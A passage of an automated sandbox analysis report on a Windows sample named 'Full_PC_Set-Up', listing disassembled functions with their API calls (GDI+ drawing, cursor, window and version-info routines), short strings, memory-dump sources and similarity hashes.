Instruction ID: 11d2c6bd127d8fcbc7e5e6c61e4476945fc4f37b3da474eddca5f44b5e3ac37d
Opcode Fuzzy Hash: 11ac81de70fe2e1c5fffba70d21fd30802c9872448aea1bfdced68c3464f37ae
Instruction Fuzzy Hash: 6831A971158381AAD320EF64C856F9FBBE4BF89718F144A0DF18856291D7B4D50ACF62

Function 002D2C50 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 60stringCOMMON

Download Yara Rule

APIs

VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?), ref: 002D2C9E
wsprintfW.USER32 ref: 002D2CBF
VerQueryValueW.VERSION(?,?,?,?,?,?,?,?,?), ref: 002D2CD9
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 002D2CE8

Strings

\VarFileInfo\Translation, xrefs: 002D2C98
CompanyName, xrefs: 002D2CB2
\StringFileInfo\%04x%04x\%s, xrefs: 002D2CB9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: QueryValue$lstrcpywsprintf
String ID: CompanyName$\StringFileInfo\%04x%04x\%s$\VarFileInfo\Translation
API String ID: 209441233-3088139007
Opcode ID: d5bf2d44fd51e3867f7291a0c29d70d4e7c8ddd83e1b74a4d22212d992134c79
Instruction ID: 2c3e6e8e190011419090555456957277cf3a4967992c959ef373bfdc721e0393
Opcode Fuzzy Hash: d5bf2d44fd51e3867f7291a0c29d70d4e7c8ddd83e1b74a4d22212d992134c79
Instruction Fuzzy Hash: 801186716143029FD724DF64D886E7BB7E8AF98700F41882EB489C7255EB35D918CB52

Function 002BEB90 Relevance: 12.3, APIs: 8, Instructions: 252memoryfilewindowCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8,000000FF,002BE959,?,002BE5BE), ref: 002BEBC3
GdipCreateBitmapFromFile.GDIPLUS(?,?,00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8,000000FF,002BE959,?,002BE5BE), ref: 002BEBE2
GdipGetImageWidth.GDIPLUS(?,?,00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8,000000FF,002BE959,?,002BE5BE), ref: 002BEC3C
GdipGetImageHeight.GDIPLUS(?,?,?,?,00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8,000000FF,002BE959), ref: 002BEC61
GdipGetImageWidth.GDIPLUS(?,?,?,?,?,?,00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8), ref: 002BEC86
GdipGetImageHeight.GDIPLUS(?,?,?,?,?,?,?,?,00000010,5EBD7D5F,74DF3530,00000000,?,?), ref: 002BECA3
GdipGetImageWidth.GDIPLUS(?,?,?,?,00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8,000000FF,002BE959), ref: 002BECC5
GdipGetImageHeight.GDIPLUS(?,?,?,?,?,?,00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8), ref: 002BED01

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$Image$HeightWidth$AllocBitmapCreateFileFrom
String ID:
API String ID: 1943603914-0
Opcode ID: 28b07f470a2d4c3759965b45761e504aac47c446d69a358a66954401c5eeaaf3
Instruction ID: 0d8dc644ed25366a4a7fcdba80bbb39f4565ef1659394e6498458d8611e2960a
Opcode Fuzzy Hash: 28b07f470a2d4c3759965b45761e504aac47c446d69a358a66954401c5eeaaf3
Instruction Fuzzy Hash: 50A137716083028FC700DF59C880A9BBBF5FB89790F218D1DF59597264E772E8A5CB82

Function 0032F730 Relevance: 12.2, APIs: 8, Instructions: 163COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0032F74A
__aulldiv.LIBCMT ref: 0032F784
__aullrem.LIBCMT ref: 0032F7F7
__aullrem.LIBCMT ref: 0032F8D6

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID:
API String ID: 3839614884-0
Opcode ID: 8c11ad88bdc554cbae64689b1ca28e151bb70608aa62c04d47ebbad56c9dea2d
Instruction ID: ea0d5c76272c0e57197c4ad17f85f1d718af0be30ac3ea536610dda4793c7799
Opcode Fuzzy Hash: 8c11ad88bdc554cbae64689b1ca28e151bb70608aa62c04d47ebbad56c9dea2d
Instruction Fuzzy Hash: C151EE75A00209AFDB04DF98D891FAEB7B5BF88700F208559F615AB394D670EE41CBA4

Function 002A7770 Relevance: 12.2, APIs: 8, Instructions: 152COMMON

Download Yara Rule

APIs

GetCursor.USER32 ref: 002A77BD
LoadCursorW.USER32(00000000,00007F02), ref: 002A77CE
SetCursor.USER32(00000000), ref: 002A77D5
InvalidateRect.USER32(?,00000000,00000000), ref: 002A7843
InvalidateRect.USER32(?,00000000,00000000), ref: 002A7850
InvalidateRect.USER32(?,00000000,00000000), ref: 002A78F9
InvalidateRect.USER32(?,00000000,00000000), ref: 002A7909
SetCursor.USER32(?), ref: 002A7915

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CursorInvalidateRect$Load
String ID:
API String ID: 1566019754-0
Opcode ID: 5cd8f7720b6fe72e0c5aac809291297cfaf37675e201225539ba04dfecb9e6e3
Instruction ID: 69ba40c7578a41fe1b1093042162173f5997ddc59c6d884dbd06c8ea642904ab
Opcode Fuzzy Hash: 5cd8f7720b6fe72e0c5aac809291297cfaf37675e201225539ba04dfecb9e6e3
Instruction Fuzzy Hash: D8519A357102019FDB24EF68CC81FAA73A5BF89700F150969FA459B396CB70E801CBA5

Function 003732E5 Relevance: 12.1, APIs: 8, Instructions: 106windowstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003732F8
_memset.LIBCMT ref: 00373314
GetFocus.USER32 ref: 0037331C

Part of subcall function 0036496B: UnhookWindowsHookEx.USER32(?), ref: 0036499B

IsWindowEnabled.USER32(?), ref: 0037334B
EnableWindow.USER32(?,00000000), ref: 00373364
EnableWindow.USER32(?,00000001), ref: 003733E5
IsWindow.USER32(?), ref: 003733EA
SetFocus.USER32(?), ref: 003733F7

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$EnableFocus$EnabledHookUnhookWindows_memsetlstrlen
String ID:
API String ID: 3424750955-0
Opcode ID: 30ed2eddc47ee14947de8af3882b2bb8b3320ee671424601755ffcc8fcb81e4b
Instruction ID: 4e94b57cc3658a33f60407a684a5234ecef4a0cde77d102959c4fb6ef06feccd
Opcode Fuzzy Hash: 30ed2eddc47ee14947de8af3882b2bb8b3320ee671424601755ffcc8fcb81e4b
Instruction Fuzzy Hash: B141BF34600A00EFD7379F74C989A5ABBF5EF84700F15C169E14A8B261CF35EA11EB41

Function 002A1500 Relevance: 12.1, APIs: 8, Instructions: 96windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003A42E0: IsWindow.USER32(?), ref: 003A42F4
Part of subcall function 003A42E0: GetClientRect.USER32(?,?), ref: 003A4304

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

GdipCreateSolidFill.GDIPLUS(FFDDDDDD), ref: 002A155E
GdipFillRectangleI.GDIPLUS(00000000,?,00000000,FFDDDDDD,?,?,FFDDDDDD), ref: 002A157A
GdipDeleteBrush.GDIPLUS(?,00000000,?,00000000,FFDDDDDD,?,?,FFDDDDDD), ref: 002A158E
GetFocus.USER32 ref: 002A1593
GdipCreatePen1.GDIPLUS(FF222222,?,00000000), ref: 002A15BE
GdipSetPenDashStyle.GDIPLUS(?,00000002,FF222222,?,00000000), ref: 002A15CE
GdipDrawRectangleI.GDIPLUS(00000000,?,00000000,00000000,?,?,?,00000002,FF222222,?,00000000), ref: 002A15F2
GdipDeletePen.GDIPLUS(?,00000000,?,00000000,00000000,?,?,?,00000002,FF222222,?,00000000), ref: 002A1603

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$CreateDeleteFillRectangle$BrushClientDashDrawFocusPen1RectScrollSolidStyleWindow
String ID:
API String ID: 1901266929-0
Opcode ID: b5133013b0b8c50cc6b4972c9d509ac35da1cff823d0c6df6486b4c6b42db748
Instruction ID: fa78f8a5e53c813e0a93a5576cb8d43e261fc1dc073a6400bf904f259c9d90be
Opcode Fuzzy Hash: b5133013b0b8c50cc6b4972c9d509ac35da1cff823d0c6df6486b4c6b42db748
Instruction Fuzzy Hash: D6313AB1608301ABC714DF64C885E6BB7E8FFC9350F14891DF9958B255DB30E814CBA2

Function 002C0FE0 Relevance: 12.1, APIs: 8, Instructions: 63windowCOMMON

Download Yara Rule

APIs

SetCapture.USER32(?,?,002C1110), ref: 002C0FE5
RedrawWindow.USER32(?,00000000,00000000,00000180,00000000,?,002C1110), ref: 002C1007
RedrawWindow.USER32(?,00000000,00000000,00000180,?,002C1110), ref: 002C1019
GetDCEx.USER32(?,00000000,00000020,?,002C1110), ref: 002C102A
PatBlt.GDI32(?,?,?,?,?,005A0049), ref: 002C105B
ReleaseDC.USER32(?,?), ref: 002C1069
LoadCursorW.USER32(?), ref: 002C108C
SetCursor.USER32(00000000,?,?,002C1110), ref: 002C1093

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CursorRedrawWindow$CaptureLoadRelease
String ID:
API String ID: 3837328410-0
Opcode ID: b45da3595e2e7f92461a565086b6b46fe0bb7ac74af29ce9ec5289b8d5483177
Instruction ID: da9c8c5c88743b75fa5a70fe1bbdddffaf9a66ca106fe664f0c3befab6b609bc
Opcode Fuzzy Hash: b45da3595e2e7f92461a565086b6b46fe0bb7ac74af29ce9ec5289b8d5483177
Instruction Fuzzy Hash: 52112CB5600700AFE310DB74CC49F27B7E9BB88700F148A1DF68687695DA74F851CB54

Function 002B2790 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 312windowCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,?,00000800), ref: 002B298C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,?,00000800), ref: 002B29EA
IsWindow.USER32(?), ref: 002B2A1D
PostMessageW.USER32(?,00003411,00000000,00000000), ref: 002B2AAE

Strings

Url, xrefs: 002B299F
News, xrefs: 002B293B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ByteCharMultiWide$MessagePostWindow
String ID: News$Url
API String ID: 3450646012-885270951
Opcode ID: 47c81d5813fc854eeb6f37ef8a21803a9b72037e315b82324d6cf5e9b1a95950
Instruction ID: 86322e61a8b1cc263d388fc83c74680dbb4531b874de14d83271d21dd8c03bfd
Opcode Fuzzy Hash: 47c81d5813fc854eeb6f37ef8a21803a9b72037e315b82324d6cf5e9b1a95950
Instruction Fuzzy Hash: 89C1AC71618742CFD724DF28C841B9BB3E4BF85750F248A5DE4998B3A1DB70E849CB92

Function 002B33C0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 303COMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

Part of subcall function 003A5700: CopyRect.USER32(?,?), ref: 003A576E
Part of subcall function 003A5700: CreateCompatibleDC.GDI32(?), ref: 003A5778
Part of subcall function 003A5700: CreateCompatibleBitmap.GDI32(?,?,00000001), ref: 003A57B2
Part of subcall function 003A5700: SelectObject.GDI32(00000000,?), ref: 003A57CC
Part of subcall function 003A5700: CreateRectRgnIndirect.GDI32(?), ref: 003A57EC

Part of subcall function 003A42E0: IsWindow.USER32(?), ref: 003A42F4
Part of subcall function 003A42E0: GetClientRect.USER32(?,?), ref: 003A4304

CreateCompatibleDC.GDI32(?), ref: 002B3454

Part of subcall function 003A4DF0: IsRectEmpty.USER32(5EBD7D5F), ref: 003A4E03

Part of subcall function 0036F134: SetBkColor.GDI32(?,?), ref: 0036F158
Part of subcall function 0036F134: ExtTextOutW.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 0036F16B

Part of subcall function 0036B678: SetTextColor.GDI32(?,?), ref: 0036B696
Part of subcall function 0036B678: SetTextColor.GDI32(?,?), ref: 0036B6A3

Part of subcall function 0036B614: SetBkMode.GDI32(?,?), ref: 0036B631
Part of subcall function 0036B614: SetBkMode.GDI32(?,?), ref: 0036B63E

Part of subcall function 00297680: CreateCompatibleDC.GDI32(00000000), ref: 002976C3
Part of subcall function 00297680: SelectObject.GDI32(?,00000000), ref: 002976DA

OffsetRect.USER32(?,00000024,0000001E), ref: 002B3589
OffsetRect.USER32(?,5EBD7D55,00000018), ref: 002B35BE
SelectObject.GDI32(?,?), ref: 002B3783

Strings

V%s, xrefs: 002B3624
j, xrefs: 002B349C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Create$Compatible$ColorObjectSelectText$ModeOffset$BeginBitmapClientCopyEmptyH_prolog3IndirectPaintWindow
String ID: V%s$j
API String ID: 547762155-3970248083
Opcode ID: 1659dfb39f4263f70ae4dd942304a83923a2d5e4948570e0d5b13476fa1b8d31
Instruction ID: 363eb8b0c47a5bca818d5a1722197c60e2aed06116b95ffcba242ba7c68a2295
Opcode Fuzzy Hash: 1659dfb39f4263f70ae4dd942304a83923a2d5e4948570e0d5b13476fa1b8d31
Instruction Fuzzy Hash: 21C139712083409FD315DF68C891AABF7E4AFD9314F108A1DF59A8B291DB70E948CF92

Function 00320240 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 261COMMON

Download Yara Rule

Strings

g, xrefs: 00320285
matroska, xrefs: 00320507
webm, xrefs: 0032052B
S, xrefs: 0032027D
B, xrefs: 00320271

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID: B$S$g$matroska$webm
API String ID: 2022606265-656449490
Opcode ID: 860119ab8c921c9a3940ee6874f4c7cce40b02c84e1a41b9055a430272243760
Instruction ID: 480ed6e8417aee510d742080742aa82694112e6f24f2c8c04522638b0a8c7abe
Opcode Fuzzy Hash: 860119ab8c921c9a3940ee6874f4c7cce40b02c84e1a41b9055a430272243760
Instruction Fuzzy Hash: BFC12B70D00218DFDB19DFA8D995BEEB7B5BF44304F208268E119AB292DB746A49CF50

Function 00372A84 Relevance: 10.7, APIs: 7, Instructions: 176comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00372A8E
_memset.LIBCMT ref: 00372AEA
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00372AFF
_malloc.LIBCMT ref: 00372B28
_memset.LIBCMT ref: 00372B3F
CoInitializeEx.OLE32(00000000,00000002,?,?,?,?,?,?,?,?,?,?,?), ref: 00372C4E
CoCreateInstance.OLE32(0057FA0C,00000000,00000001,00500B4C,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00372C95

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
